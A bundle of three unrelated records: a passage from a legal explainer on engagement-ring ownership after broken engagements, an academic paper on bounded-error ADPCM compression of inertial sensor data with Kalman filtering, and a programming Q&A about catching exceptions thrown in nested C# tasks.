However, the receiver of the ring may argue that answering the proposal was the condition required and that the condition was met. This doesn't usually work. Courts typically reject the idea that the gift's condition is the engagement, and hold instead that the condition to be met is the marriage. This is usually a no-fault approach, meaning that it doesn't matter which party is responsible for the broken engagement; if the condition is not met for whatever reason, then the gift must be returned.
Most western states follow the no-fault, conditional gift approach and award the engagement ring to the giver in a broken engagement. A few states, like Montana, classify the engagement ring as an unconditional gift and award the ring to the receiver in broken engagements.
Treating Engagement Rings as Compensation
There have been cases where a ring can qualify as compensation, as long as both parties understood that the ring was being given as compensation. For example, in one case, a woman had given her fiancé money and even labor to improve his business. In exchange for her money and labor, he gave her a valuable diamond ring and proposed marriage. The relationship ended in a broken engagement, and the court awarded the diamond ring to the woman because the diamond ring was given to her as compensation.
Engagement Ring Laws: Fault-Based Approaches
Some courts hold that it isn't fair for the person who caused the broken engagement to keep the engagement ring. This approach is called "fault-based" and if the receiver causes the broken engagement, the engagement ring will be awarded to the giver.
For instance, in Pavlicic v. Vogtsberger, a couple was engaged. The man bought her house, two cars, and a diamond ring in anticipation of marriage. He also lent her $5,000 to buy her own business. The woman disappeared, only to resurface later having used the funds to buy a business in another city and marry another man. The court ordered all of the gifts, including the engagement ring that the man had given to her, to be given back to him.
Another fault-based approach treats the whole engagement transaction like a contract. Just like in a broken contract situation, a broken engagement means that the parties couldn't fulfill the elements of the agreement, even if only one party was responsible for breaking the contract. However, as is typical in contract breach cases, the likely remedy would be to restore the parties to their previous position so, under this approach, the giver would be awarded the engagement ring in a broken engagement.
Engagement Ring Laws: No-Fault Approaches
The courts that follow this approach don't care who is at fault for the broken engagement. If the engagement is broken, the giver gets the ring back, regardless of the reasons for the split. This is similar to the no-fault divorce approach of family law. No-fault divorces make it possible to settle without getting involved in nasty arguments over who did what to whom. These courts argue that broken engagements should be handled the same way to avoid having to address very personal and emotional situations.
Court Decisions Regarding Broken Engagements
More and more courts lean toward the no-fault approach. It's much simpler and straightforward. In a 1999 case, the Pennsylvania Supreme Court ruled that the giver should always get the ring back in a broken engagement. Iowa, Kansas, New Jersey, New Mexico, New York, and Wisconsin followed this approach. In doing so, the Kansas Supreme Court spelled out the potential difficulties of following a fault-based approach. To illustrate the point, the court listed some of the common and very personal reasons for broken engagements which the court would have to referee, such as:
Having nothing in common;
Disliking prospective in-laws;
Hostility toward the prospective step-parent by children (minors or adults);
Having pets that don't get along;
Being hasty in proposing/accepting the proposal;
Being in a rebound situation which is now regretted;
Having untidy habits that irritate the other; or
Religious differences.
Who Gets to Keep the Engagement Ring in a Broken Engagement? Get Answers from an Attorney Today
It's not always clear who's the rightful owner of an engagement ring after things go south, especially with the many approaches used by the courts. The hope is that both parties settle (or avoid) any dispute through an amicable agreement, but that's often a tall task after a broken engagement. To find out what the law is where you live and to help you put the pieces back together, you could benefit from meeting with a family law attorney. | 2023-11-22T01:26:51.906118 | https://example.com/article/5235 |
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1.. Introduction
================
Largely because of the MEMS technology, inertial sensors (accelerometers and gyroscopes) are becoming smaller and cheaper \[[@b1-sensors-09-05919]\], which makes it possible to use inertial sensors in many applications. Inertial sensors are used in motion trackers \[[@b2-sensors-09-05919]\], personal navigation systems \[[@b3-sensors-09-05919]\] and remote control systems \[[@b4-sensors-09-05919]\].
In some applications such as body motion trackers (for example, the product 'Moven' by XSENS), inertial sensors are used to track body movement. As the number of inertial sensors increases, the size of sensor data increases accordingly. The sensor data is transmitted to the microprocessor board through wired or wireless communication channels. In a wireless communication channel, the transmission speed is relatively low compared with a wired communication channel. The size of the sensor data needs to be reduced if it exceeds the capacity of the communication channel. For example, the transmission rate of raw sensor data for one MTx (commercial inertial and magnetic sensor) could be as high as 72 Kbps: 9 sensor outputs (3 accelerometers, 3 gyroscopes, and 3 magnetic sensors) × 500 Hz (maximum sampling rate) × 16 bits (16 bit A/D conversion for each sensor). If four MTx are used, the size of the sensor data exceeds the capacity of Zigbee (maximum rate is 250 Kbps \[[@b5-sensors-09-05919]\]). More applications are expected as networked control and monitoring systems are becoming more popular \[[@b6-sensors-09-05919]\].
One way to reduce the size of the sensor data is to compress the sensor data before transmission and decompress the received data in the microprocessor board. Data compression has been extensively studied in many areas \[[@b7-sensors-09-05919]\]. In applications such as body motion trackers, real-time compression is preferable, in order to avoid delayed sensor data transmission and consequently the delay in motion estimation. One of the most popular real-time compression methods is ADPCM (Adaptive Differential Pulse Coded Modulation) \[[@b8-sensors-09-05919]\], which is optimized for voice data. In \[[@b9-sensors-09-05919]\], a simplified ADPCM method is used for inertial sensor data compression, where the maximum error (the difference between the original data and the compressed-and-then-decompressed data) is only relatively bounded (e.g., 1% of the sensor data).
The performance indices of data compression are the bit rate and the quality of compressed data. In voice data compression, the quality of compressed data is evaluated by listening to the compressed-and-then-decompressed voice data. This rather subjective evaluation makes sense since the final destination of compressed data is the human ear. On the other hand, the final destination of compressed inertial sensor data is usually a filter (such as a Kalman filter), where orientation is estimated. Thus the quality of compression should be judged by how the compression affects the estimation error.
In this paper, a modified ADPCM method is proposed, where the absolute maximum error bound is explicitly given. Also, we investigate how this error affects the estimation error. A part of this paper was presented in \[[@b10-sensors-09-05919]\].
2.. Inertial and Magnetic Sensor Data Compression and Estimation
================================================================
The overall process of compression and estimation is given in [Figure 1](#f1-sensors-09-05919){ref-type="fig"}, where *k* is a discrete time index. The objective is to estimate some states *x*(*k*) (attitude, heading, position, etc.) using inertial sensor data *y*(*k*) at a limited data transmission rate. The inertial sensor data *y*(*k*) is compressed into *d̃*(*k*) and transmitted to the microprocessor board. The compressed data is decompressed into *ŷ*(*k*) and the state *x*(*k*) is estimated using a filter.
Since the objective is to find a good estimator of *x*(*k*), the quality of compression is considered good if the estimation error *x*(*k*) − *x̂*(*k*) is small. The quality of the compression algorithm is evaluated using the following estimation error covariance: $$P_{\mathit{error}} = E\left\{ (x - \hat{x}(\hat{y}))\prime(x - \hat{x}(\hat{y})) \right\}$$where *x̂*(*ŷ*) is an estimator when *ŷ* is used as an output.
Note that *P~error~* depends on the filter algorithm used to compute *x̂*(*ŷ*) in addition to the compression algorithm.
The ideal compression algorithm minimizes both *P~error~* and the bit rate. However, usually if *P~error~* is small, the bit rate tends to be large. In Section 4, we propose a compression algorithm where the maximum compression error is bounded. The maximum compression error bound plays a role of design parameter to adjust *P~error~* and the bit rate.
3.. Modified ADPCM Algorithm
============================
The ADPCM block scheme is given in [Figure 2](#f2-sensors-09-05919){ref-type="fig"}. We assume that *y*(*k*) is the output of *n~y~* bit uniform quantizer, where *y*(*k*) satisfies
\|
y
(
k
)
\|
≤
y
max
Let the quantization size *δ* of *y*(*k*) be defined by $$\delta = \frac{y_{\mathit{\max}}}{2^{n_{y} - 1}}$$If there is more than one sensor, we need one encoder for each sensor.
The sensor data *y*(*k*) is compared with the predictor output *ỹ*(*k*). The difference *d*(*k*) is coded into *d̃*(*k*) and this *d̃*(*k*) is transmitted to the estimator board. In the standard ADPCM, *d̃*(*k*) is a quantization index *i*(*k*). In this paper, *d̃*(*k*) consists of one bit mode information *m*(*k*) and a quantization index *i*(*k*): $$\widetilde{d}(k) = \begin{bmatrix}
{m\left( k \right)} \\
{i(k)} \\
\end{bmatrix}$$In the decoder, the decompressed data is *ŷ*(*k*) = *ỹ*(*k*)+ *d̂*(*k*). The predictor output *ỹ*(*k*) can be computed from *d̂*(*k*) and thus does not need to be transmitted.
The adaptive predictor uses the same pole-zero configuration as that in CCITT G.726 ADPCM, which is an ADPCM speech compressor/decompressor protocol proposed in 1990 \[[@b11-sensors-09-05919]\] : $$\widetilde{y}(k) = \sum\limits_{i = 1}^{2}{a_{i}(k - i)\hat{y}}(k - i) + \sum\limits_{i = 1}^{6}{b_{i}(k - 1)\hat{d}}(k - i)$$From the assumption (2), if *ỹ*(*k*) *\> y~max~* from (5), we set *ỹ*(*k*) = *y~max~*. Similarly, if *ỹ*(*k*) *\<* −*y~max~*, we set *ỹ*(*k*) = −*y~max~*.
The adaptive algorithm in the G.726 protocol is used to adjust *a~i~* and *b~i~* and the detail is given in \[[@b11-sensors-09-05919]\]; the tone and transition detector part was omitted since the part is only for voice data.
The compression error *e~c~*(*k*) is the difference between the original signal *y*(*k*) and the decompressed signal *ŷ*(*k*): $$\begin{array}{lll}
{e_{c}(k)} & = & {y(k) - \hat{y}(k)} \\
& = & {(\widetilde{y}(k) + d(k)) - (\widetilde{y}(k) + \hat{d}(k))} \\
& = & {d(k) - \hat{d}(k)} \\
\end{array}$$
Standard ADPCM algorithms \[[@b8-sensors-09-05919]\] will be modified so that the maximum error is bounded as follows: $$\left| e_{c}(k) \middle| ~~ \leq ~~e_{\mathit{\max}} \right.$$
Now *d̃*(*k*) coding is explained. The mode bit *m*(*k*) in *d̃*(*k*) is used to ensure (7). If the compression error *e~c~*(*k*) of a standard ADPCM method satisfies (7), then the mode is 0 (i.e., *m*(*k*) = 0). As will be seen in Section 3.1, this is true if *\|d*(*k*)\| *\<* 2^*y~s~*(*k*)^*δ*, where *y~s~*(*k*) is an adaptive scaling factor. On the other hand, if the compression error *e~c~*(*k*) of a standard ADPCM method does not satisfy (7), then the mode is 1 (i.e., *m*(*k*) = 1) and a special uniform quantizer is used as in Section 3.2. Thus the mode *m*(*k*) is given by $$m(k) = \begin{cases}
{0,} & {\text{if}\frac{\left| d(k) \right|}{2^{y_{s}(k)}\delta} \leq 1} \\
{1,} & \text{otherwise} \\
\end{cases}$$where *y~s~*(*k*) is an adaptive scaling factor.
The quantization index *i*(*k*) is defined differently when *m*(*k*) = 0 and when *m*(*k*) = 1.
3.1.. Quantization index when m(k) = 0
--------------------------------------
If *m*(*k*) = 0, a signal *d*(*k*) is quantized with *n~d~* bits with a logarithm quantizer with an adaptive scaling factor *y~s~*(*k*), where the quantized index *i*(*k*) (1 ≤ \|*i*\| ≤ 2^*n~d~*−1^) satisfies $$f_{i - 1} < \frac{\left| d(k) \right|}{2^{y_{s}(k)}\delta} \leq f_{i}$$The sign of the index *i*(*k*) is the same as that of *d*(*k*). If *d*(*k*) = 0, then *i* = 1.
Coefficients *f~i~* in (9) are computed from *μ* law \[[@b8-sensors-09-05919]\] so that *f~i~* satisfies the following: $$\frac{\text{log}_{e}\left( {1 + \mu\left| f_{i} \right|} \right)}{\text{log}_{e}(1 + \mu)} = \frac{i}{2^{n_{d}} - 1}$$
In this paper, *μ* = 5 is used and *f~i~* values for the case of *n~d~* = 5 is given in [Table 1](#t1-sensors-09-05919){ref-type="table"}:
The scaling adaptation factor *y~s~*(*k*) is computed similarly with the standard ADPCM algorithm except that *y~s~*(*k*) is bounded as follows: $$3 \leq y_{s}(k) \leq {\overline{y}}_{s}$$We note that *ȳ~s~* is chosen so that (7) is satisfied. First we are going to derive the upper bound of *e~c~*(*k*) when *ȳ~s~* is given.
The decompressed signal *d̂*(*k*) is computed as follows: $$\hat{d}(k) = \text{sgn}(i(k))2^{y_{s}(k)}\delta\frac{f_{i - 1} + f_{i}}{2}$$where $$\text{sgn}(\alpha) = \begin{cases}
{1,} & {\alpha > 0} \\
{0,} & {\alpha = 0} \\
{- 1,} & {\alpha < 0} \\
\end{cases}$$
The error *e~c~*(*k*) is then $$\begin{array}{lll}
\left| {e_{c}(k)} \right| & = & \left| d(k) - \hat{d}(k) \right| \\
& \leq & {2^{y_{s}(k)}\delta\frac{f_{i} - f_{i - 1}}{2}} \\
\end{array}$$From the fact that *f~i~* is monotonically increasing and (10), we have $$\begin{array}{lll}
\left| {e_{c}(k)} \right| & \leq & {2^{y_{s}(k)}\delta\frac{f_{2^{n}d^{- 1}} - f_{2^{n}d^{- 1}}{}_{- 1}}{2}} \\
& \leq & {2^{{\overline{y}}_{s}}\delta\frac{f_{2^{n}d^{- 1}} - f_{2^{n}d^{- 1}}{}_{- 1}}{2}} \\
\end{array}$$
Given *e~max~*, to satisfy (7), *ȳ~s~* should satisfy the following $$2^{{\overline{y}}_{s}}\delta\frac{f_{2^{n}d^{- 1}} - f_{2^{n}d^{- 1}}{}_{- 1}}{2} \leq e_{\mathit{\max}}$$Thus if *ȳ~s~* is chosen to satisfy (12), the quantization error is always smaller than *e~max~* when *m*(*k*) = 0. We also note that in addition to the global bound *e~max~*, if index *i*(*k*) is known, we have a less conservative bound given in (11): $${\overline{e}}_{c}(k) = 2^{y_{s}(k)}\delta\frac{f_{i} - f_{i - 1}}{2}$$This bound will be used later in the estimation problem.
3.2.. Quantization index when m(k) = 1
--------------------------------------
From (8), *m*(*k*) = 1 if *\|d*(*k*)\| *\>* 2^*y~s~*(*k*)^*δ*. If *m*(*k*) = 1, then the logarithm quantizer used cannot guarantee the maximum error (7). Noting that *d*(*k*) = *y*(*k*) − *ỹ*(*k*), we can see that the mode is 1 if the difference between the output *y*(*k*) and the predicted value *ỹ*(*k*) is large, which happens when the signal change is not smooth but instead rather abrupt.
To ensure the maximum error condition (7), we introduce a uniform quantizer when the mode is 1. An example is given in [Figure 3](#f3-sensors-09-05919){ref-type="fig"}, where *y*(*k*) is outside the \[*ỹ*(*k*) − *δ*2^*y~s~*(*k*)^*, ỹ*(*k*) + *δ*2^*y~s~*(*k*)^\] interval and the mode is 1. The upper and lower intervals of the mode 1 interval (the mode 0 interval is the shaded area) are quantized with a uniform quantizer (quantization size is 2*e~max~*). The formal definition of the index in mode 1 is given as follows. Let *u~length~* and *l~length~* be defined by $$\begin{array}{lll}
u_{\mathit{length}} & = & {y_{\mathit{\max}} - {({\widetilde{y}(k) + \delta 2^{y_{s}(k)}})}} \\
l_{\mathit{length}} & = & {{({\widetilde{y}(k) - \delta 2^{y_{s}(k)}})} + y_{\mathit{\max}}} \\
\end{array}$$Let *u~level~* (the number of quantization levels for the upper interval *u~length~*) be defined by $$u_{\mathit{level}} = \begin{cases}
{0,} & {\text{if}\, u_{\mathit{length}} \leq 0} \\
{\text{ceil}\left( \frac{u_{\mathit{length}}}{2e_{\mathit{\max}}} \right),} & \text{otherwise} \\
\end{cases}\mathit{where}$$ceil(*α*) is the smallest integer no smaller than *α*.
The index *i*(*k*) is given by $$i(k) = \begin{cases}
{\text{floor}\left( \frac{y(k) - \widetilde{y}(k) + \delta 2^{y_{s}(k)}}{2e_{\mathit{\max}}} \right)} & {\text{if}\, y(k) > \widetilde{y}(k) + \delta 2^{y_{s}(k)}} \\
{u_{\mathit{level}} + \text{floor}\left( \frac{\widetilde{y} - \delta 2^{y_{s}(k)} - y(k)}{2e_{\mathit{\max}}} \right)} & {\text{if}\, y(k) < \widetilde{y}(k) - \delta 2^{y_{s}(k)}} \\
\end{cases}$$where floor(*α*) is the largest integer no larger than *α*.
The decomposed signal *d̂*(*k*) is computed as follows. $$\hat{d}(k) = \begin{cases}
{\text{max}\left\{ {y_{\mathit{\max}},\widetilde{y}(k) + \delta 2^{y_{s}(k)} + e_{\mathit{\max}} + i(k)2e_{\mathit{\max}}} \right\},} & {\text{if}\, i < u_{\mathit{level}}} \\
{\text{min}\left\{ {- y_{\mathit{\max}},\widetilde{y}(k) - \delta 2^{y_{s}(k)} - e_{\mathit{\max}} - \left( {i(k) - u_{\mathit{level}}} \right)2e_{\mathit{\max}}} \right\},} & \text{otherwise} \\
\end{cases}$$
Since a uniform quantizer is used, the compression error *e~c~*(*k*) in mode 1 is bounded by $$\left| {e_{c}(k)} \right| \leq {\overline{e}}_{c}(k) = e_{\mathit{\max}}$$
Note that the number of bits for the index *i*(*k*) is given by $$n_{i}~(k) = \text{ceil}~\left( {\text{log}_{2}~\left( {\text{ceil}~\left( \frac{u_{\mathit{length}}}{2e_{m}} \right) + \text{ceil}~\left( \frac{l_{\mathit{length}}}{2e_{m}} \right)} \right)} \right)$$When *m*(*k*) = 1, *n~i~*(*k*) changes depending on *ỹ*(*k*) and *y*(*k*). Note that when *m*(*k*) = 0, *n~d~* (the number of bits for *i*(*k*)) is constant. Also note that *n~i~* can be computed in the estimation board and thus does not need to be transmitted.
4.. Kalman Filter Compensating the Compression Error
====================================================
In Section 3, a compression method is proposed, where the maximum compression error is *e~max~*. Also if *m*(*k*) and *i*(*k*) are known, bounds of the compression error are given by (13) and (15). In this section, we use this information in a Kalman filter.
We assume that *y*(*k*) is generated by a linear system $$\begin{array}{rcc}
{x\left( {k + 1} \right)} & = & {Ax(k) + w(k)} \\
{y(k)} & = & {Cx(k) + u(k)} \\
\end{array}$$where *x ∈ R^n^* is the state, *y ∈ R^p^* is the output, and *w*(*k*) and *v*(*k*) are uncorrelated, zero-mean, white Gaussian noises that satisfy $$\begin{array}{ll}
{E\left\{ w(k)w^{\prime}(k) \right\} = Q,} & {E\left\{ v(k)v^{\prime}(k) \right\} = R} \\
\end{array}$$
In the standard Kalman filter, *x*(*k*) is estimated using *y*(*k*). If *y*(*k*) is compressed, *ŷ*(*k*) = *y*(*k*) −*e~c~*(*k*) is used instead. From (13) and (15), *ē~c~*(*k*) can be computed, which is used to reduce the estimation error. If we assume *e~c,i~*(*k*) (*i*-th element of *e~c~*(*k*)) has a uniform distribution, $E\left\{ {e_{c,i}^{2}(k)} \right\} = \frac{1}{3}{\overline{e}}_{c,i}^{2}(k)$. By treating the compression error *e~c~*(*k*) as measurement noise in *y*(*k*), the following model can be used for an estimator. $$\begin{array}{rcc}
{x\left( {k + 1} \right)} & = & {Ax(k) + w(k)} \\
{\hat{y}(k)} & = & {Cx(k) + \overline{v}(k)} \\
\end{array}$$where $$\overline{R}(k) = E\{\overline{v}(k){\overline{v}}^{\prime}(k)\} = R + \frac{1}{3}\left\lbrack \begin{array}{lll}
{{\overline{e}}_{c,1}^{2}~(k)} & & \\
& \ddots & \\
& & {{\overline{e}}_{c,p}^{2}~(k)} \\
\end{array} \right\rbrack$$
Since the compression error is compensated in the estimation algorithm, we can expect a smaller estimation error, which is verified through the simulations in Section 5. When a Kalman filter is used for (17), the estimation error covariance *P*(*k*) = E{(*x*(*k*) − *x̂*(*k*))(*x*(*k*) − *x̂*(*k*))′} can be computed from a Riccati equation \[[@b12-sensors-09-05919]\]. $$P(k + 1) = AP(k)~A^{\prime} + Q - AP(k)C^{\prime}{(CP(k)C^{\prime} + \overline{R}(k))}^{- 1}CP(k)~A^{\prime}$$Since *R̄*(*k*) depends on *ŷ*(*k*), we cannot compute *P*(*k*) before simulation. To evaluate the estimation error covariance without simulation, we use an upper bound of *R̄*(*k*): $$\overline{R}(k) \leq R + \frac{1}{3}\left\lbrack \begin{array}{lll}
e_{\mathit{\max},1}^{2} & & \\
& \ddots & \\
& & e_{\mathit{\max},p}^{2} \\
\end{array} \right\rbrack = {\overline{R}}_{\mathit{\max}}$$Using this *R̄~max~* in place of *R̄*(*k*), we can find a steady-state solution to (19). $$\overline{P} = A\overline{P}A^{\prime} + Q - A\overline{P}C^{\prime}\left( {C\overline{P}C^{\prime} + {\overline{R}}_{\mathit{\max}}} \right)^{- 1}C\overline{P}A^{\prime}$$*P̄* can be considered as an upper bound of *P*(*k*) in (19). From *P̄*, we can see how *e~max,i~* affects the estimation error.
A similar idea is used in \[[@b13-sensors-09-05919]\], where a networked estimation problem is considered.
5.. Simulation
==============
We compared three data sets using the proposed compression algorithm. Original data is 1600 bits/s for each sensor : 16 bit A/D converted data (i.e., *n~y~* = 16) with the sampling rate being 100 Hz. We used *n~b~* = 5: that is, the number of bits for the quantization index when *m*(*k*) = 0 is 5. *e~max~* for each sensor is chosen so that *e~max~* = 300*δ*, where *δ* is different for each type of sensors. *ȳ~s~* = 12 is found to satisfy (12).
Bit rates for the three compressed data sets are given in [Table 2](#t2-sensors-09-05919){ref-type="table"}. All three data sets are obtained using XSENS MTx (3 accelerometer, 3 gyroscopes, and 3 magnetic sensors). Holding MTx with a hand, we moved MTx slowly (data set 1) and fast (data set 2). Data set 3 is obtained from a personal navigation system, where MTx is attached on the shoe of a pedestrian \[[@b3-sensors-09-05919]\].
The bit rates of data set 3 is the largest because the change of data is the most abrupt. In particular, when the shoe contacts the floor, there is a large change in the accelerometer and gyroscope outputs, and consequently the compression algorithm becomes *m*(*k*) = 1 more often.
To see how the compression error affects the estimation error, a simple one dimensional attitude estimation problem is considered. An attitude (*θ*) is estimated using two outputs: *y~i~* is an inclinometer output and *y~g~* is a gyroscope output, where $$\begin{array}{lll}
y_{i} & = & {\theta + v_{i}} \\
y_{g} & = & {\overset{˙}{\theta} + v_{g}} \\
\end{array}$$where *v~i~* and *v~g~* are measurement noises and $q_{i} = E{\{ v_{i}^{2}\}} = 0.13 \times 10^{- 1}$ and $q_{g} = E{\{ v_{g}^{2}\}} = 0.78 \times 10^{- 5}$.
An indirect Kalman filter (\[[@b12-sensors-09-05919]\]) is used to estimate *θ* using *y~i~* and *y~g~*. In the indirect Kalman filter, the gyroscope output is integrated to compute *θ~i~*, i.e., $${\overset{˙}{\theta}}_{i} = y_{g}$$Defining *θ~δ~* as $$\theta_{\delta} = \theta_{i} - \theta$$we obtain $${\overset{˙}{\theta}}_{\delta} = v_{g}$$In the indirect Kalman filter, *θ~δ~* is first estimated and *θ̂* is obtained indirectly from *θ̂ = θ~i~* − *θ̂~δ.~*
By discretizing (22) with the sampling period *T* (*T* = 0.01*sec*), we have $$\begin{array}{cll}
{\theta_{\delta}(k + 1)} & = & {\theta_{\delta}(k) + \sqrt{T}v_{g}} \\
{\theta_{i} - y_{a}} & = & {\theta_{\delta}(k) - v_{i}} \\
\end{array}$$
Now the proposed compression algorithm is used to compress *y~i~* and *y~g~*. The maximum compression errors *e~max,i~* (*e~max~* for *y~i~*) and *e~max,g~* (*e~max~* for *y~g~*) affect both the bit rate and the estimation error. If *e~max~* is small, the chance that the mode becomes 1 increases. Thus the bit rate becomes large. How the bit rate changes with the changing *e~max~* is given in [Figure 4](#f4-sensors-09-05919){ref-type="fig"}. The data *y~i~* and *y~g~* are generated using Matlab.
From [Figure 4](#f4-sensors-09-05919){ref-type="fig"}, we can see that the bit rate of the inclinometer outputs increases rapidly as *e~max,i~* is decreased. On the other hand, the bit rate of the gyroscope outputs does not change much as *e~max,g~* is decreased. The bit rate depends on how often the mode becomes 1: note that *n~i~* (the number of bits needed for the quantized data when the mode is 1) is generally larger than *n~d~* (the number of bits needed when the mode is 0). If the original signal is sufficiently smooth, *d*(*k*) is small since the predicted value *ỹ*(*k*) is very close to *y*(*k*). Thus even if we decrease *e~max~*, *d*(*k*) still satisfies *\|d*(*k*)\| *≤* 2^*y~s~*(*k*)^*δ* condition in (8).
The *y~i~* and *y~g~* signals and the compressed signals are given in [Figures 5](#f5-sensors-09-05919){ref-type="fig"} and [6](#f6-sensors-09-05919){ref-type="fig"}, where *e~max,i~* = 0.2876 and *e~max,g~* = 0.0122. We can see that the gyroscope output is relatively smooth compared with the inclinometer output. Thus the bit rate of the gyroscope output is relatively insensitive to the changes in *e~max,g~*.
The effects of changes in *e~max~* on the estimation error are given in [Figure 7](#f7-sensors-09-05919){ref-type="fig"}, where the estimation error is predicted using (20). Actual estimation error from simulation is given in [Figure 8](#f8-sensors-09-05919){ref-type="fig"}, where $\sqrt{\sum\left( {\theta(k) - \hat{\theta}(k)} \right)^{2}}$ is computed.
The relationship between bit rates and estimation error is presented in [Figure 9](#f9-sensors-09-05919){ref-type="fig"}, where data are from [Figures 4](#f4-sensors-09-05919){ref-type="fig"}, [7](#f7-sensors-09-05919){ref-type="fig"} and [8](#f8-sensors-09-05919){ref-type="fig"}. In the left graph, the points 1--6 have similar bit rates but different *P~error~*. Thus in the following simulation, we chose the point 1, which corresponds to *e~max,i~* = 0.2876 and *e~max,g~* = 0.0122. We compared three different filters: (a) a standard Kalman filter using *y~i~* and *y~g~*; (b) a Kalman filter using *ŷ~i~* and *ŷ~g~* with compression error compensation (proposed in Section 4); (c) a Kalman filter using *ŷ~i~* and *ŷ~g~* without compression error compensation. We randomly generated 12 data sets and the results are given in [Table 3](#t3-sensors-09-05919){ref-type="table"}.
It is not surprising that the *P~error~* of the standard Kalman filter is the smallest because the original data *y~i~* and *y~g~* are used for measurements. We can also see that the *P~error~* of the proposed filter is smaller than that of the filter (c). On average, the estimation error of the proposed filter is smaller by 18.81% compared with that of the filter (c). Note that the proposed filter (b) and the filter (c) use the same decompressed data *ŷ~i~* and *ŷ~g~* for measurements. However, in the proposed filter, the compression error information (13) and (15) are explicitly used in (18), whereas they are ignored in the filter (c). In summary, the estimation error reduction was possible because of two facts: (1) the proposed compression method provides the compression error bound (13) and (15), and (2) the proposed filter algorithm explicitly uses the error compression bound.
6.. Conclusion
==============
In this paper, we have proposed a compression method for inertial and magnetic sensor data. The proposed compression method guarantees that the compression error is bounded by a prescribed *e~max~* value. Smaller *e~max~* value usually increases the bit rate and reduces the estimation error of the filter when the decompressed data is used. Thus *e~max~* plays the role of a trade-off parameter between the bit rate and the estimation error. Also we have seen that by using a bound on compression error, the estimation error can be reduced.
This work was supported by the Korea Research Foundation(KRF) grant funded by the Korea government(MEST) (No. 2009-0074773).
{#f1-sensors-09-05919}
{#f2-sensors-09-05919}
{#f3-sensors-09-05919}
{#f4-sensors-09-05919}
{#f5-sensors-09-05919}
{#f6-sensors-09-05919}
{#f7-sensors-09-05919}
{#f8-sensors-09-05919}
{#f9-sensors-09-05919}
######
*f~i~* values for *n~d~* = 5.
--------- --------- --------- --------- ---------
*f*~0~ *f*~1~ *f*~2~ *f*~3~ *f*~4~
0 0.0237 0.0503 0.0799 0.1131
*f*~5~ *f*~6~ *f*~7~ *f*~8~ *f*~9~
0.1501 0.1915 0.2379 0.2899 0.3479
*f*~10~ *f*~11~ *f*~12~ *f*~13~ *f*~14~
0.4129 0.4855 0.5667 0.6575 0.7593
*f*~15~ *f*~16~
0.8729 1.0000
--------- --------- --------- --------- ---------
######
Bit rates for 3 inertial and magnetic sensor data sets.
accelerometers gyroscopes magnetic sensors
------------ ---------------- ------------ ------------------
data set 1 643.2 641.6 617.6
648.0 632.0 622.4
656.0 628.8 614.4
data set 2 659.2 660.8 617.6
662.4 640.0 622.4
668.8 638.4 619.2
data set 3 771,2 715.2 638.4
798.4 696.0 633.6
694.4 686.4 627.2
######
Bit rates and estimation error of 3 filters: (a) a standard Kalman filter with uncompressed data, (b) the proposed method with *ŷ~i~* and *ŷ~g~*, and (c) a Kalman filter with *ŷ~i~* and *ŷ~g~*.
experiment Bit rate *P~error~* \% improvement ((c) - (b)) / (c)
------------ ---------- ------------ ---------------------------------- ------- ------- -------
1 684.8 620.3 0.318 0.437 0.452 3.32
2 654.4 623.3 0.173 0.361 0.492 26.62
3 640.0 621.3 0.138 0.345 0.402 14.19
4 645.7 622.2 0.139 0.312 0.455 31.39
5 631.2 625.7 0.161 0.382 0.447 14.50
6 633.6 621.6 0.121 0.310 0.422 26.55
7 692.7 692.7 0.308 0.427 0.445 3.96
8 640.8 622.2 0.120 0.280 0.317 11.77
9 634.4 618.6 0.134 0.295 0.537 45.15
10 696.1 618.8 0.423 0.487 0.503 3.14
11 638.4 632.9 0.191 0.394 0.464 14.99
12 638.4 621.5 0.136 0.292 0.417 30.13
average 652.5 628.4 0.197 0.360 0.446 18.81
| 2024-01-27T01:26:51.906118 | https://example.com/article/3693 |
Q:
How to catch exception thrown in a task in a task
i need help with catching exceptions in C#. I have a Windows service which is acting like a wrapper for other modules, so to not have multiple Windows Services i start all modules/agents thats how we call them in that Wrapper Windows Service. Each of this 'agent' is started in a own Task. I am not in control what the agent itself is doing so it can be and will from time to time is such a agent starting also a task or thread and if there an exception is getting thrown, i am not able to catch it. I tried different things but was not able to do so. So if such a exception occurs in production my whole service is crashing and all agents with it, which is a nightmare. I try to simplify it with an example code:
public class Program
{
static void Main(string[] args)
{
Console.WriteLine("Hello World!");
AppDomain.CurrentDomain.UnhandledException += (o, e) =>
{
Console.WriteLine("CurrentDomain Unhandled Exception: {0}", e.ExceptionObject);
};
TaskScheduler.UnobservedTaskException += (s, e) =>
{
Console.WriteLine("TaskScheduler.UnobservedTaskException Unhandled Exception: {0}", e.Exception);
e.SetObserved();
};
Task.Factory.StartNew(() =>
{
Task.Factory.StartNew(() => throw new Exception("I am a exception ! Catch me !"));
}, TaskCreationOptions.LongRunning)
.ContinueWith((t) =>
t.Exception.InnerExceptions.ToList().ForEach(e => Console.WriteLine("Error executing task.{0}", e)),
TaskContinuationOptions.OnlyOnFaulted);
Console.WriteLine("If you read this, application is not crashed!");
Console.ReadKey();
Task.Factory.StartNew(() =>
{
throw new Exception("I am a exception ! Catch me !");
});
}
}
So how to catch the exception ? It will not get fetched by any of my handlers.
Important is that i have no influence of that part of code, thats my 'agent' :
Task.Factory.StartNew(() => throw new Exception("I am a exception ! Catch me !"));
Everything else i am able to change.
Edit:
unfortunately provided solution seems to not work for me. I am still not able to catch the exception which occurs. Maybe its getting more clear when i show my original code:
private async Task StartAgent(IAgent agent)
{
_logger.LogInfo("Agent starting with instanceId {0}", agent.GetInstanceGuid());
if (agent == null)
{
throw new ArgumentNullException("agent");
}
try
{
Task task = await Task.Factory.StartNew(async () =>
{
agent.Start();
}, TaskCreationOptions.LongRunning);
await task.ContinueWith((t) =>
{
var aggException = t.Exception.Flatten();
foreach (var exception in aggException.InnerExceptions)
_logger.LogError("Error executing agent task.{0}", exception, t.Id);
}, TaskContinuationOptions.OnlyOnFaulted);
_agents[agent.GetInstanceGuid()].Task = task;
_agents[agent.GetInstanceGuid()].LastTaskStatus = task.Status;
}
catch (Exception e)
{
_logger.LogError("Exception in Agent Task.",e);
}
}
So the agent.Start() is what i am calling in the task everything what happens inside i don't know. The agent can create tasks, threads everything he wants. Start() is also void and i can't change the interface to await it.
A:
Thanks for all the answers. I found a easy solution now which works for me. All i had to do is adding in my 'runtime' part of my app.config this flag
<legacyUnhandledExceptionPolicy enabled="1" />
Like described here: How to prevent an exception in a background thread from terminating an application?
I had the problem even if i was able to catch my exception my service still stops afterwards.
| 2023-10-25T01:26:51.906118 | https://example.com/article/3844 |
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